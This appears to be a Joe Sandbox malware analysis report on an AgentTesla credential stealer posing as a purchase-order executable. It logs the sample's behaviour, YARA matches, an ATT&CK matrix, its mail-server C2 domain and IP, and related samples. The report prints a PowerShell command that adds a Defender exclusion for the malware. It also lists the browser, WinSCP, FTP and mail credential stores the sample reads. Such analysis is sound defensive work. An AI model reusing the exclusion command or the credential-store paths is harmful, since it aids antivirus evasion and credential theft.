Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe"			Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe"	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process created: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe"	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process created: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Queries volume information: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Queries volume information: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.PURCHASE ORDER-6350-2024.exe.3ab4e38.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PURCHASE ORDER-6350-2024.exe.3adde58.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PURCHASE ORDER-6350-2024.exe.3ab4e38.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PURCHASE ORDER-6350-2024.exe.3adde58.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3264163729.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2053479431.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000006.00000002.3266110194.0000000002D6A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3266110194.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PURCHASE ORDER-6350-2024.exe PID: 1020, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 00000006.00000002.3266110194.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PURCHASE ORDER-6350-2024.exe PID: 1020, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.PURCHASE ORDER-6350-2024.exe.3ab4e38.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PURCHASE ORDER-6350-2024.exe.3adde58.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PURCHASE ORDER-6350-2024.exe.3ab4e38.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PURCHASE ORDER-6350-2024.exe.3adde58.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3264163729.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2053479431.0000000003A29000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000006.00000002.3266110194.0000000002D6A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3266110194.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PURCHASE ORDER-6350-2024.exe PID: 1020, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	2 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Disable or Modify Tools	1 Credentials in Registry	1 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	141 Virtualization/Sandbox Evasion	Security Account Manager	141 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	2 Data from Local System	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	24 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PURCHASE ORDER-6350-2024.exe	21%	ReversingLabs	Win32.Trojan.Generic
PURCHASE ORDER-6350-2024.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mail.mbarieservicesltd.com	199.79.62.115	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PURCHASE ORDER-6350-2024.exe, 00000000.00000002.2051720668.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mail.mbarieservicesltd.com	PURCHASE ORDER-6350-2024.exe, 00000006.00000002.3266110194.0000000002D6A000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
199.79.62.115	mail.mbarieservicesltd.com	United States		394695	PUBLIC-DOMAIN-REGISTRYUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528943
Start date and time:	2024-10-08 13:52:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PURCHASE ORDER-6350-2024.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@8/6@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 115 Number of non-executed functions: 5
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: PURCHASE ORDER-6350-2024.exe

Simulations

Behavior and APIs

Time	Type	Description
07:52:54	API Interceptor	24x Sleep call for process: PURCHASE ORDER-6350-2024.exe modified
07:52:56	API Interceptor	10x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
199.79.62.115	order2024-10-07_174915.exe	Get hash	malicious	AgentTesla	Browse
	PO23100070.exe	Get hash	malicious	AgentTesla	Browse
	PO-000001488.exe	Get hash	malicious	AgentTesla	Browse
	Quote 20240533-REV2.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	PO- 220135.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Quote_4400201477.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	1460531MES_S Quote.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	QUOTE-4K148388-A-C334.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	PO# 81136575.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	PO_GM_list_30082024202003180817418300824.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mail.mbarieservicesltd.com	order2024-10-07_174915.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	PO23100070.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	PO-000001488.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	Quote 20240533-REV2.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.79.62.115
	PO- 220135.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.79.62.115
	Quote_4400201477.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.79.62.115
	1460531MES_S Quote.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.79.62.115
	QUOTE-4K148388-A-C334.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.79.62.115

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	Cotizaci#U00f3n P13000996 pdf.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	shipping.exe	Get hash	malicious	AgentTesla	Browse	207.174.215.249
	order2024-10-07_174915.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	shipping.exe	Get hash	malicious	AgentTesla	Browse	207.174.215.249
	rInvoiceCM60916_xlx.exe	Get hash	malicious	FormBook	Browse	119.18.54.27
	Pending invoices.exe	Get hash	malicious	FormBook	Browse	119.18.54.27
	z1SupplyInvoiceCM60916_Doc.exe	Get hash	malicious	FormBook	Browse	119.18.54.27
	ENQUIRY NEED QUOTATION.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.225
	New order.exe	Get hash	malicious	AgentTesla	Browse	207.174.215.249
	https://octo9.com.ng/Greula/	Get hash	malicious	Unknown	Browse	208.91.199.242

Process:	C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.354777075714867
Encrypted:	false
SSDEEP:	24:3gWSKco4KmZjKbmOIKod6emN1s4RPQoU99t7J0gt/NKIl9iagu:QWSU4xympjms4RIoU99tK8NDv
MD5:	F614CCA1D985910D63FFFF70966F53F5
SHA1:	A9BD00A65E13088BD96A2420E289487CD07D9D4C
SHA-256:	3714147C391F57DCDB11C8D0E7076367B3BD1D628A5FB73E2BEE67B99F034157
SHA-512:	AE362137DA68C2853EB39BC2EC5A6AD2361689225F28337F0738617D6DB986E4BCF985FE12E910405E621CE407B4E6AF3308ADDDE4F9D81E02F2ED8E27831CAE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................,..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aa3ncavf.zhi.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
